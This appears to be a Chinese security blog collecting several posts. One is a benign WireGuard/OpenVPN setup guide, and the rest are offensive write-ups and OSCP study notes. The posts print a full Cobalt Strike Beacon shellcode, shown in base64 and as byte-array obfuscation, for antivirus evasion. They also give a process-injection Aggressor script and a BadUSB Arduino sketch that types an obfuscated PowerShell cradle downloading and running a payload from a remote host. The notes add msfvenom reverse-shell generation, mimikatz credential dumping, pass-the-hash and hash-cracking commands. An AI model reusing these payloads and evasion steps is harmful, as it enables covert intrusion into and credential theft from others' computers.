【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

首先我们要搞清楚一个问题,Wireguard和OpenVPN的区别在哪里

  1. Wireguard基于UDP协议,继承于内核中,由于加密协议简单(但安全),开销较小,性能较高
  2. OpenVPN基于TCP或UDP协议,由SSL/TLS实现身份加密,没有Wireguard效率高,但是支持多种管理方式

在实际使用上,TCP和UDP也有较大区别

  1. TCP:可以提供更可靠的连接,因为它具有确认和重传机制,能够处理丢包和错误。适用于对数据完整性和可靠性要求较高的场景。
  • UDP:UDP可以提供更快的速度和较低的延迟,适用于实时应用程序和视频流等对延迟敏感的情况。UDP模式还可以避免TCP拥塞控制的限制,适用于高带宽环境

  • UDP在实际使用上可能会被QOS限速,但是在长距离、高延迟的VPN环境中还是可以发挥不错的效果,不容易出现TCP经常断连的情况。

    实现方案

    在某个实际应用场景中,我需要将在B地不同地区访问位于A地的局域网,A地与B地物理相隔较远并且网络条件较差,但是对业务实时性没有太多要求,并且A地存在NAT

    方案一

    全部走OpenVPN,对A-B两地互联的机器使用UDP协议,确保可以通讯
    B地对B地其他地区使用TCP协议,确保连接稳定性
    方案一可以参考
    Windows上使用OpenVPN实现于异地访问公司内网资源(Tunnel方式、公网服务器frp转发)

    方案二

    在A-B两地之间使用Wireguard
    在B地服务器是用OpenVPN供B地其他地区使用
    网络结构如下

    A地内网<--->A地服务器<- Wireguard-UDP ->B地服务器<- OpenVPN TCP/UCP ->B地其他地区用户
    

    两方案相比,方案一更加简单,但是没有方案二稳定,并且AB两地如果存在高带宽情况用OpenVPN可能会消耗大量资源,在技术难度上方案二要设置转发,需要对两个VPN进行分别配置
    最终选择方案二进行

    继续阅读【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

    【CS】Cobalt Strick的Malleable2 C2配置以及PowerShell免杀

    Malleable2 C2配置

    首先,我从一开始就踩了个坑,CS不应该是个开箱即用的东西吗,仔细一想,不对,那样的话流量特征不就明明白白了吗,这里需要用到Malleable C2 Profile。

    Malleable Command and Control可拓展的命令和控制
    M主要用来控制Cobalt Strike Beacon攻击载荷中的网络参数,也就是说我们可以通过这个伪装/混淆我们的流量。在一些复杂场景中可以更好的规避防火墙。
    这里有一个Github项目Malleable-C2里面有现成的配置文件,你也可以自己改一个,我选择了之前学长发我的一份伪装成某度的配置文件进行使用。
    如果不用这个混淆流量的话,CS造的PowerShell的马即使能免杀,在后续下发指令的时候也会被Windows Defender给杀掉。
    在Listener里面我们也要使用https这种加密的流量,更好绕过防火墙

    PowerShell免杀

    首先,我们对生成的Payload进行一定研究,发现FromBase64String这个函数应该是被拉黑了,只要处理到这个就报毒。所以我们可以吧Base64转换为字节码的形式进行绕过。
    示例如下

    #Base64
    [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI3lrquJim5giIyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOncXFimch2DRjc9muq5Wug4HNJKXxrqtKZPCMjI0kjS6MQIyNqqsNimicjIyNimVZlvaXc9muq0muq+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4iIyNr3Owsp68iIyPIkMrHIiMjy6Hc3NwMWmZmeSMZiB2igppanzPzKbfJJRlTyoktE2nscMHTAIS+bHHl5m/j94zr470Z7uh4ScS0kioVJEmwllHt5njNKhTkeLayeow+4o2TcENKI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxITDRMYA3RKTUdMVFADbXcDFQ0RGAN0bHQVFxgDd1FKR0ZNVwwVDRMYA3dMVkBLGANuYm9gaXAKLikjAikoLPonSzhbqQDoC5KwV9PMupbmG49FOlnPw2VqyA74Y46b6zCUIZgHz5/a7bH42YCNxRUm5b/XUiSBe1Ch/9Oq9MQqRPZkwCCT88HLQU32K+4oDoRh5ZrUEut7YQFkTuF/kadzF3Wjao01O3MA9AFfJWl+uN5PDAJnRNLW0cPG8yUr8HG7zmK1bVvluiN9CFEKPyTROTyywfn5CPQ0iv1mc0HBNAUmyOGV+z3P4tv3eO7RhmzDlnzzlGtkFgim7UyQ7gqeEQWheiNindOWgXXc9msS6pkjI2MjYpsjMyMjYppjIyMjYpl7h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZroOcDpuNXlUWoJGsi4KbjVvR7e3trJiMjIyNz4Mtc3tzcEhoRDRIVGw0REBoNERcaIxn9S5I=')
    #字节码混淆后
    [Byte[]]$PRZNAMJgM = [Byte[]](223,107,160,199,211,203,235,35,35,35,98,114,98,115,113,114,117,107,18,241,70,107,168,113,67,107,168,113,59,107,168,113,3,107,168,81,115,107,44,148,105,105,110,18,234,107,18,227,143,31,66,95,33,15,3,98,226,234,46,98,34,226,193,206,113,98,114,107,168,113,3)
    [Byte[]]$qXHbRRolRZZT = [Byte[]](168,97,31,107,34,243,69,162,91,59,40,33,86,81,168,163,171,35,35,35,107,166,227,87,68,107,34,243,115,168,107,59,103,168,99,3,106,34,243,192,117,107,220,234,98,168,23,171,107,34,245,110,18,234,107,18,227,143,98,226,234,46,98,34,226,27,195,86,210,111,32)
    [Byte[]]$ckKZjMGmMr = [Byte[]](111,7,43,102,26,242,86,251,123,103,168,99,7,106,34,243,69,98,168,47,107,103,168,99,63,106,34,243,98,168,39,171,107,34,243,98,123,98,123,125,122,121,98,123,98,122,98,121,107,160,207,3,98,113,220,195,123,98,122,121,107,168,49,202,108,220,220,220,126,73,35)
    [Byte[]]$vvTYnbPAP = [Byte[]](106,157,84,74,77,74,77,70,87,35,98,117,106,170,197,111,170,210,98,153,111,84,5,36,220,246,107,18,234,107,18,241,110,18,227,110,18,234,98,115,98,115,98,153,25,117,90,132,220,246,202,176,35,35,35,121,107,170,226,98,155,152,34,35,35,110,18,234,98,114,98)
    [Byte[]]$oDOZGtzgSPfbKla = [Byte[]](114,73,32,98,114,98,153,116,170,188,229,220,246,200,90,120,107,170,226,107,18,241,106,170,251,110,18,234,113,75,35,17,227,167,113,113,98,153,200,118,13,24,220,246,107,170,229,107,160,224,115,73,41,124,107,170,210,153,60,35,35,35,73,35,75,163,16,35,35,106,170)
    [Byte[]]$gufwnOAtfMhSa = [Byte[]](195,98,154,39,35,35,35,98,153,86,101,189,165,220,246,107,170,210,107,170,249,106,228,227,220,220,220,220,110,18,234,113,113,98,153,14,37,59,88,220,246,166,227,44,166,190,34,35,35,107,220,236,44,167,175,34,35,35,200,144,202,199,34,35,35,203,161,220,220,220,12)
    [Byte[]]$VijLlpTL = [Byte[]](90,102,102,121,35,25,136,29,162,130,154,90,159,51,243,41,183,201,37,25,83,202,137,45,19,105,236,112,193,211,0,132,190,108,113,229,230,111,227,247,140,235,227,189,25,238,232,120,73,196,180,146,42,21,36,73,176,150,81,237,230,120,205,42,20,228,120,182,178,122,140)
    [Byte[]]$qmNNXvweeMJMH = [Byte[]](62,226,141,147,112,67,74,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,18,19,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,17,24)
    [Byte[]]$uJyFfILlJHJfVoEZhHkrFaMHrh = [Byte[]](3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,21,13,19,24,3,119,76,86,64,75,24,3,110,98,111,96,105,112,10,46,41,35,2,41,40,44,250,39,75,56,91,169,0,232,11,146,176,87,211,204,186,150,230,27,143,69,58,89,207,195,101,106,200,14,248)
    [Byte[]]$CyVhsFXsPf = [Byte[]](99,142,155,235,48,148,33,152,7,207,159,218,237,177,248,217,128,141,197,21,38,229,191,215,82,36,129,123,80,161,255,211,170,244,196,42,68,246,100,192,32,147,243,193,203,65,77,246,43,238,40,14,132,97,229,154,212,18,235,123,97,1,100,78,225,127,145,167,115,23,117)
    [Byte[]]$glxAhgUznZWUI = [Byte[]](163,106,141,53,59,115,0,244,1,95,37,105,126,184,222,79,12,2,103,68,210,214,209,195,198,243,37,43,240,113,187,206,98,181,109,91,229,186,35,125,8,81,10,63,36,209,57,60,178,193,249,249,8,244,52,138,253,102,115,65,193,52,5,38,200,225,149,251,61,207,226)
    [Byte[]]$HTAAzLNjfk = [Byte[]](219,247,120,238,209,134,108,195,150,124,243,148,107,100,22,8,166,237,76,144,238,10,158,17,5,161,122,35,98,157,211,150,129,117,220,246,107,18,234,153,35,35,99,35,98,155,35,51,35,35,98,154,99,35,35,35,98,153,123,135,112,198,220,246,107,176,112,112,107,170,196)
    [Byte[]]$HeDjjuDz = [Byte[]](107,170,210,107,170,249,98,155,35,3,35,35,106,170,218,98,153,49,181,170,193,220,246,107,160,231,3,166,227,87,149,69,168,36,107,34,224,166,227,86,244,123,123,123,107,38,35,35,35,35,115,224,203,92,222,220,220,18,26,17,13,18,21,27,13,17,16,26,13,17,23)
    [Byte[]]$XOdUFuGpKi = [Byte[]](26,35,25,253,75,146)
    [Byte[]]$jbMpyHdkOCXCCucode = $PRZNAMJgM + $qXHbRRolRZZT + $ckKZjMGmMr + $vvTYnbPAP + $oDOZGtzgSPfbKla + $gufwnOAtfMhSa + $VijLlpTL + $qmNNXvweeMJMH + $uJyFfILlJHJfVoEZhHkrFaMHrh + $CyVhsFXsPf + $glxAhgUznZWUI + $HTAAzLNjfk + $HeDjjuDz + $XOdUFuGpKi
    

    这里有Github的自动化脚本MyBypassAV_ps1.py,不仅可以转换字节码,也可以用随机字符串混淆函数和变量。
    混淆了之后就可以基本免杀了,为什么说是基本呢,因为还是有概率在和C2通讯的时候被杀毒Kill掉(可能流量特征还没清干净吧),所以呢我们要尽早转移进程(也怕被看到一个黑框框在这被关掉了)
    所以我在C2配置中将session的sleep时间改成了200ms
    在通讯的第一次就设置插件自动转移进程,只要在Client中加载AutoSpawn.cna这个文件即可
    他可以在第一次通讯200ms之内将进程迁移至explorer.exe并且将新旧session的sleep时间改成5s避免被发现。

    #AutoSpawn.cna
    on beacon_initial
    {
        sub callback
        {
            $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
            $listener = "https";
            if ($2 ismatch $regex)
            {
                $pid = matched()[1];
                $inject_pid = $pid;
                if (-is64 $1)
                {
                    $arch = "x64";
                }
                else
                {
                    $arch = "x86";
                }
                binject($1, $pid, $listener, $arch);
                bsleep($1, 5, 37);
            }
        }
        if($inject_pid != beacon_info($1,"pid"))
        {
            bps($1, &callback);
        }
        else{
            bsleep($1, 5, 37);
        }
    }
    

    效果如图

    即实现免杀+自动迁移功能了,badusb终于可以用了。

    【近源】Badusb的使用

    之前在某公众号看到一篇关于Badusb做近源渗透的文章,之前看过很多的这类设计。本质上Badusb就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。
    由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。
    我买的芯片是Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是Flash太小了,刷的东西多一点都装不下(不过好像也就写个shell进去麻,不用写太多东西)
    程序在Arduino中编写

    这里参考了某公众号上的Payload,用alias别名和^拼接绕过,在代码上还做了一点修改。
    步骤变成了

    Win+M(最小化)->Win+R(运行)->按下CapsLock锁定大小写->输入CMD->输入PAYLOAD
    

    最小化可以避免把payload输进其他应用,大小写锁定主要为了避免中文输入法干扰

    void setup() {
      Keyboard.begin();
      delay(4500);
      Keyboard.press(KEY_LEFT_GUI);
      delay(200); 
      Keyboard.press('m');
      delay(200); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('m');
      delay(200); 
      Keyboard.press(KEY_LEFT_GUI);
      delay(200); 
      Keyboard.press('r');
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500); 
      Keyboard.println(F("cmd"));
      delay(1000); 
      Keyboard.println(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.16'+'8.239'+'.249'+'/1') | p^o^w^e^r^s^h^e^l^l -"));
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();
    }
    void loop()
    {
    }
    

    关于url为什么是http://192.168.239.249/1,要/1用数字不是其他字母呢。
    由于CapsLock按键可能原本就是按下的状态,你再按下一次就关掉了,但是如果没有输入法的影响还是可以正常输入的,而url的目录是大小写敏感的,我们则使用数字来确保目录是可以访问到的。
    这里的powershell的payload是从服务器上下载的CS负载,下载后在内存中运行也可以免杀的效果。
    但是这样还不够,这样可以绕过火绒和360,但是连Windows Defender都过不了,不懂。
    Cobalt Strick的PowerShell免杀
    运行效果如图


    由于Windows Defender好像还会监控流量(不过尽早迁移就可以了),并且这么大一个黑框和命令能让人不害怕吗,很快就会被人关掉,所以我用了插件使得他会自动迁移,更具体的会写在Cobalt Strick的PowerShell免杀
    至此Badusb完成了他近源渗透中光荣的一声被当成坏掉的u盘丢进垃圾桶了。
    badusb使用倒不困难,困难的还是如何做好PowerShell的免杀。

    OSCP学习笔记(14)——Metasploit

    Metasploit framework简称msf是一个全流程的渗透测试框架
    一般来说有如下的几类模块
    1. Payload模块:Payload模块是一种主要用于攻击的模块,它们包含可以在目标系统上执行的恶意代码。Payload模块可以用来获取远程访问权限、执行命令、窃取数据等。
    2. Exploit模块:Exploit模块是一种用于利用漏洞的模块,它们可以通过利用目标系统上的漏洞来执行攻击。Exploit模块通常需要与Payload模块一起使用,以便在目标系统上执行恶意代码。
    3. Auxiliary模块:Auxiliary模块是一种用于执行辅助任务的模块,它们可以用于扫描目标系统、收集信息、执行漏洞验证等。Auxiliary模块通常不需要与Payload或Exploit模块一起使用,因为它们不涉及攻击目标系统。
    4. Post模块:Post模块是一种用于在目标系统上执行后期攻击的模块,它们可以用于在成功攻击目标系统后执行各种任务,例如窃取密码、收集数据、横向移动等。
    5. Encoder模块:Encoder模块是一种用于混淆Payload模块的模块,以便绕过安全防御系统。Encoder模块通常与Payload模块一起使用。
    6. NOP模块:NOP模块是一种用于在Payload模块中插入NOP(No Operation)指令的模块,以便在缓冲区溢出攻击中对目标系统进行填充。

    msfdb run
    #msfdb init初始化
    msfconsole -q
    #进入控制台
    show -h
    #查看所有模块分类
    search <NAME>
    #搜索漏洞
    uss <NAME>
    #使用某个模块
    show options
    #查看当前模块参数
    show targets
    #查看目标主机
    info
    #查看模块信息
    set <KEY> <VALUE>
    #设置参数set、unset、setg、unsetg
    check
    #验证漏洞
    show missing
    #查看当前模块缺失的参数
    run/exploit [-j后台]
    #执行当前模块
    back
    #返回上一层
    db_nmap
    #调用msf中的namp进行扫描
    services [-p {PORT}筛选端口] [-S {NAME}筛选服务]
    #查看db_namp等扫描控制器获取到信息
    creds
    #查看已获得的身份信息
    sessions [-l列表] [-i {NUM}返回]
    #查看目前会话/切换会话
    route add 192.168.1.0/24 [SESSION_ID]
    route print
    #添加路由(msf里面)
    use auxiliary/scanner/portscan/tcp
    #扫描内网
    use multi/manage/autoroute
    #会话穿透内网
    use auxiliary/server/socks_proxy
    #打开socks代理
    msfconsole -r setup.rc
    #自动化配置
    

    Payload还可以配合一些参数进行自动化攻击

    set AutoRunScript windows/gather/enum_logged_on_users
    #设置PayLoad自动执行获取用户
    

    对于meterpreter的shell还有很多特殊用法

    help
    #meterpreter的shell可以使用help查看更多信息
    background
    #退出当前shell
    sysinfo
    #系统信息
    getuid
    #查看账户权限
    getpid
    #目前后门的进程id
    ps
    #获取进程列表
    migrate [PID]
    #迁移到别的进程
    upload [SOURCE] [TARGET]
    download [SOURCE] [TARGET]
    #上传下载文件,Windows要双斜线
    shell
    #进入shell
    execute
    #执行程序
    transport list
    #查看当前会话的可以协议
    transport add -t reverse_tcp [-l {HOST}] [-p {PORT}]
    #会话中添加新的传输协议,并指定传输类型(需要在use multi/handler设置新的监听器)
    transport next
    #切换到新的协议
    screenshot
    #截图
    keyscan start
    keyscan stop
    #键盘记录
    load powershell
    #加载powershell
    search bypassuac
    #可以通过exploit绕过UAC
    load kiwi
    #加载kiwi模块,与密码相关,help可以查看新模块
    getsystem
    #以SYSTEM身份运行
    creds_all
    #下载所有用户hash
    

    msfvenom生成包含payload的可执行程序

    msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -o shell_reverse.exe
    #生成一个Windows反弹Shell的可执行文件,并使用Encoder模块x86/shikata_ga_nai来绕过基于特征码的AV检测
    msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -i 4 -x Trust.exe -o shell_reverse.exe
    #将生成的Payload注入到一个可信PE文件中,例如,并生成一个新文件:
    

    OSCP学习笔记(11)——密码攻击

    常见的信息收集手段
    1. 字典攻击
    2. 提取密码HASH(明文、PtH碰撞)
    3. 信息收集

    字典攻击

    KaliLinux中包含着密码字典

    /usr/share/wordlists
    /usr/share/seclist
    

    专属字典生成

    cewl <URL/FILE> [-m {NUM}最小长度] [-w {OUTPUT}输出文件]
    #从指定URL/FILE生成字典
    john [--wordlist={DIRCTY}待变形字典] --rules [--stdout {OUTPUT}输出文件]
    #字典变形
    

    暴力破解

    crunch 8 8 -t ,@@^^@@@
    #掩码生成8位密码,分别是1大写2小写2符号3数字
    

    Medusa

    medusa -d
    #支持的模块
    medusa -M http -q
    #模块的参数和使用方法
    medusa -h <HOST> -u <USER> -P rockyou.txt -M http -m DIR:/admin
    #HTTP协议爆破示例
    

    Crowbar

    SSH公钥认证和RDP密码破解

    apt install crowbar
    #APT安装
    crowbar -b rdp -s 192.168.1.0/24 -u <USERNAME> -C rockyou.txt -n 1
    #以RDP协议,以admin位用户名,单线程破解192.168.1.0网段的密码
    

    Hydra

    和Medusa类似

    hydra -l <USERNAME> -p rockyou.txt ssh://<HOST>
    #爆破SSH密码
    hydra <HOST> http-form-post '/from/index.php:user=<USERNAME>&pass=^PASS^:INVALID LOGIN" -l <USERNAME> -P rockyou.txt -vV -f
    #INVALID LOGIN为判断条件字符串,判断是否成功
    

    哈希攻击

    将任意长度的内容通过哈希变成长度固定的指纹,理论上无逆向可能,但可以通过明文,PtH碰撞等方式进行哈希攻击

    Linux

    Openwall-HASH类型检测
    也可以通过Hashid识别

    hashid <HASH>
    

    一般来说有如下构成如下
    1.
    “`$6“`使用SHA-512
    其中1为MD5,5为SHA-256
    可以指定数字生成对应的密钥

    openssl passwd -NUM <PASS>
    
    1. “`$Rw99zZ2B“`加盐

    Windows

    Windows的密码存储在SAM文件中
    由于Windows内核独占锁定SAM数据库,在运行过程中无法拷贝SAM文件
    但是可以通过mimikatz进行dump hash,提取本地安全机构子系统(LSASS,SYSTEM用户运行的权限进程)进程内存中缓存的密码哈希(需要管理员权限)

    minikatz.exe
    #进入minikatz
    privikege::debug
    #进入debug模式,可以修改其他进程
    sekurlsa::logonpasswords
    #读取内存中hash
    token::elevate
    #从高完整性提升到SYSTEM完成性
    lsadump::sam
    #dump sam数据库
    

    通过PtH(Pass the HASH)攻击NTLM哈希值
    中间人抓取并重放HASH

    pth-winexe -U <username>%<LM>:<NTLM> //<HOST> cmd
    #老版本windows
    crackmapexec smb -u <USER> -h <HASH> -d . -x "CMD" <HOST>
    impacket-wmiexec <USER>@<HOST> -hashes 00000000000000000000000000000000:<HASH>
    

    暴力破解

    Windows

    由于Windows的哈希是不加盐的,所以可以通过爆破找出原文

    vi hash.txt
    #可同时爆破多个hash
    john hash.txt --format=NT
    john --wordlist=rockyou.txt hash.txt --format=NT
    john --rules --wordlist=rockyou.txt hash.txt --format=NT
    

    Linux

    unshadow /etc/passwd /etc/shadow > unshadowed.txt
    #生成破解文件
    john --rules --wordlist=rockyou.txt unshadowed.txt
    #John多节点分布式密码破解(CPU)
    --fork 8 --node=1-8/16
    --fork 8 --node=9-16/16
    #以八进程运行,将字典分割为16个部分,分别用两个节点计算1-8/9-16的两部分
    hashcat64.exe -b #测速
    #HASHCAT支持调用显卡(CPU+GPU)
    hashcat -m 1000 -a 0 hash.txt rockyou.txt
    #爆破NT(1000),以字典方式(0)
    

    OSCP学习笔记(10)——本地提权

    本地提权是指攻击者利用漏洞或其他手段获取本地系统的管理员权限或其他高权限,从而能够执行更多的操作,例如访问、修改、删除系统文件、安装恶意软件、窃取敏感信息等。
    常见的提权思路有:
    1. 服务配置错误
    2. 文件或服务权限漏洞
    3. 内核漏洞
    4. 高权限运行的服务漏洞
    5. 敏感信息泄漏
    6. 总是在执行二进制文件之前提升特权的系统设置
    7. 脚本中包含硬编码的凭证,以及许多其他内容

    手动枚举

    枚举用户账号

    whoami
    #通用
    id
    who
    w
    #Linux
    

    查看用户组

    net user <USERNAME>
    #Windows
    id
    who
    #Linux
    

    查看其他账号

    net user
    #Windows
    cat /etc/passwd
    #Linux
    

    查看主机名

    hostname
    #通用
    

    系统版本和架构

    systeminfo
    #Windows
    cat /etc/*-release
    cat /etc/issue
    uname -a
    #Linux
    

    枚举进程、服务

    tasklist /SVC
    #Windows
    ps axu
    #Linux
    

    网络配置

    ipconfig /all
    ipconfig /displaydns #DNS缓存
    route print
    netstat -nao
    #Windows
    ip -a
    /sbin/route
    ss -anp
    netstat -nr
    #Linux
    

    枚举防火墙规则

    netsh advfirewall show currentprofile
    netsh advfirewall firewall show rule name=all
    #Windows
    iptables -L
    ufw
    #Linux
    

    调度任务

    schtasks /query /fo LIST /v
    #Windows
    Is -lah /etc/cron*
    cat /etc/crontab
    cat /var/log/cron
    #Linux
    

    枚举安装软件及补丁

    wmic product get name,version,vendor #通过Windows Installer安装的
    wmic qfe get Caption,Description,HotFixID,InstalledOn #系统范围的更新
    #Windows
    apt #Ubuntu、Debian
    rom #red hat
    dpkg -l #Debian
    #Linux
    

    枚举可读写文件目录

    accesschk.exe -uws "Everyone" "<DIR>" #Sysinternals工具包
    Get-ChildItem "<DIR>" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} #Powershell,过滤字段可能需要改变
    #Windows
    find /-writable -type d 2>/dev/null
    #Linux
    

    挂载点

    mountvol
    #Windows
    cat /etc/fstab
    mount
    #Linux
    

    设备驱动和内核模块

    driverquery.exe /v /fo csv
    #Windows
    lsmod
    /sbin/modinfo <MODNAME>
    #Linux
    

    自动提升权限的二进制文件

    reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
    reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer #存在1即任何用户都可以使用特权账户运行Windows安装包
    #Windows
    find / -perm -u=s -type f 2>/dev/null
    #Linux
    

    自动枚举

    自动化检查脚本
    PEASS-ng

    TODO:实测一下

    Windows权限系统

    Windows从Vista开始进程运行在四个完整性级别上
    1. 系统完整性进程:SYSTEM权限
    2. 高完整性进程:Administrator权限
    3. 中完整性进程:普通用户权限
    4. 低完整性进程:权限严格受限,常用于沙箱进程

    whoami /groups
    #显示当前用户的完整性级别
    

    需要通过UAC用户访问控制切换完整性界别

    powershell.exe Start-Process cmd.exe -Verb runAs
    #以Administer启用cmd
    

    UAC绕过

    UAC绕过只针对特定版本
    常见的UAC绕过可通过fodhelper.exe(<Win10 build 1709)绕过

    sigcheck.exe -a -m c:\windows\system32\fodhelper.exe
    #利用Sysinternal中的工具包查看manifest,某些版本是requireAdministrator,并且auroElevate
    

    fodhelper.exe的绕过可以有如下方法
    使用Process Monitor检查该程序的执行过程
    先启动procmon.exe,再运行fodhelper.exe,过滤筛选fodhelper.exe的执行操作
    增加搜索Reg关键字的过滤规则,只显示fodhelper.exe的注册表相关操作
    增加搜索NAME NOT FOUND报错消息过滤规则,表示fodhelper在访问不存在的注册表项
    再将其筛选改成SUCCESS,表示已经访问到的键值
    以此反复找到一个可以利用的注册表运行任意指令

    文件权限漏洞

    通过替换某些高权限的系统程序,植入后门

    Get-WmiObject win32_service | Select-Object Name,State,PathName | Where-Object {$_.State -like 'Running'}
    #查询所有服务路径
    icacls "<FILE>'
    #F为完全控制
    

    服务路径未引号闭合

    如果有空格的文件路径未用引号闭合将会以空格为分割,寻找可执行文件

    C:\Program.exe
    C:\Program Files\My.exe
    C:\Program Files\My Program\My.exe
    C:\Program  Files\My Program\My service\service.exe
    

    内核漏洞

    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    #检测系统版本、架构
    driverquery /v
    #检测驱动(可以通过exploitdb搜索已知漏洞)
    type <DRIVERNAME>.inf
    #查看驱动信息
    

    Linux权限系统

    文件权限漏洞

    cron调度任务等脚本执行后门漏洞

    /etc/passwd权限漏洞

    如果文件全局可读写可添加管理员权限

    内核漏洞

    也同样可以通过exploitdb搜索已知漏洞

    OSCP学习笔记(9)——防病毒规避

    PE文件检测

    PE(Portable Executable)可执行文件,该文件酱油Windows加载器执行代码、引用库、导入和导出API表等
    检测方法一般如下
    1. 基于字符特征的检测方法(静态)
    2. 启发式检测方法(单步跟踪/静态分析)
    3. 基于行为的检测方法(动态)

    AV(Anti Virus)躲避技术

    一般来说分磁盘/内存两种

    磁盘

    1. 打包(修改特征码、减小体积)
    2. 混淆(花指令、重组等)
    3. 加密Crypters(改变可执行代码,在内存中执行加密文件)
    4. 软件保护(反逆向、反调试、虚拟机检测)

    内存

    一般流程如下
    1. 利用Windows API向正常PE进程注入攻击代码
    2. 获得目标进程Handle并分配空间
    3. 将恶意代码注入到新分配内存中
    4. 执行内存中的恶意代码

    除此之外还有反射DLL注入技术、进程挖空技术、内连挂载技术等
    下面有一种使用Powershell的内存注入方法
    Todo:有空再补

    Shellter

    Windows下动态shellcode注入工具,在kali中使用时需要借助Wine环境
    原理如下

    对PE文件进行深入分析,将payload注入到另一个正常文件之中
    改变PE文件的Section权限,并创建新的Section
    使用现有的PE Import Address Table(IAT)条目来定位将用于内存分配、传输和执行负载的函数
    省流:将Payload加载到一个正常的程序中

    sudo apt install wine
    sudo dpkg --add-architecture i386&apt update&apt -y install wine32
    shellter
    

    OSCP学习笔记(8)——传输文件

    传输文件一般发生在后渗透测试阶段,即已经突破边界并在目标主机上获取初始低权限账户
    一般的任务有:
    1. 权限提升
    2. 权限维持
    3. 横向渗透

    FTP

    以pure-ftpd为例,安装并设置用户权限

    apt install pure-ftpd
    groupadd ftpgroup
    useradd -g ftpgroup -d /dev/null-s /etc ftpuser
    pure-pw useradd offsec -u ftpuser -d /ftphome
    #这里的offsec是ftp账号,映射到系统账号ftpuser,并设置密码
    pure-pw mkdb
    cd /etc/pure-ftpd/auth/
    ln -s ../conf/PureDB 60pdb
    mkdir -p /ftphome
    chown -R ftpuser:ftpgroup /ftphome/
    systemctl restart pure-ftpd
    

    非交互SHELL升级

    利用python的pty模块可以获取伪终端

    python =c 'import pty; pty.spawn("/bin/bash")'
    

    针对bash还有其他方法获取完整功能终端

    bash
    #先让自己处于bash环境
    python =c 'import pty; pty.spawn("/bin/bash")'
    #先创建伪终端
    ^Z
    #Ctrl+Z置入后台
    stty raw -echo
    #命令将终端设置为原始模式
    fg
    #按ctrl+z时,进程将挂起并停止。使用 fg,您可以将挂起的作业移动到前台,使用 bg,您可以在后台运行它。
    export SHELL=/bin/bash
    export TERM=screen
    #这是Shell环境变量
    stty rows 40 columns 128
    #修改shell大小
    reset
    #重置终端的状态
    

    Windows文件传输

    Linux有curl、netcat、wget等文件,但是Windows上只默认包含FTP且无法获得交互终端
    可以取巧使用文件传输指令

    echo open <HOST> 21>ftp.txt
    echo USER offsec>>ftp.txt
    echo lab>>ftp.txt
    echo bin >ftp.txt
    echo GET nc.exe >ftp.txt
    echo bye >ftp.txt
    ftp -v-n -s:ftp.txt
    

    也可以使用vbs/powershell脚本下载文件的

    powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>','<FILE>')
    #下载文件并保存
    powershell.exe TEX (New-Object System.Net.WebClient).DownloadString('<URL>')
    #直接运行脚本
    

    其他方法

    certutil.exe -urlcache -split -f "<URL>" <FILE>
    #Windows自带工具,需要在管理员权限的命令提示符或 PowerShell 终端中执行
    rdesktop -u <USER> a.b.c.d -p <PASSWORD> -g 1200x900 -x 0x80 -r sound:local -r disk:LinuxPictures=<DIR>
    #远程桌面连接同时挂载共享文件夹、建议别折腾,直接用Windows
    

    上传文件也是可以的

    powershell.exe (New-Object System.Net.WebClient).UploadFile('<URL>','<FILE>')
    

    对应的PHP后端

    <?php
        $uploaddir='/var/www/uploads/';
        $uploadfile $uploaddir.$_FILES['file']['name'];
        move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile);
    ?>
    

    文件混淆/绕过

    压缩打包二进制文件

    upx -9 nc.exe
    #使用 UPX 压缩工具对 nc.exe 文件进行压缩,压缩级别为最高压缩比
    exe2hex -x nc.exe -p nc.cmd
    #将 nc.exe 文件转换为十六进制格式,并将结果输出到 nc.cmd 文件中
    powershell nc.cmd
    #在 PowerShell 终端中执行 nc.cmd 文件,这将导致 nc.exe 文件被解码并在系统中执行
    

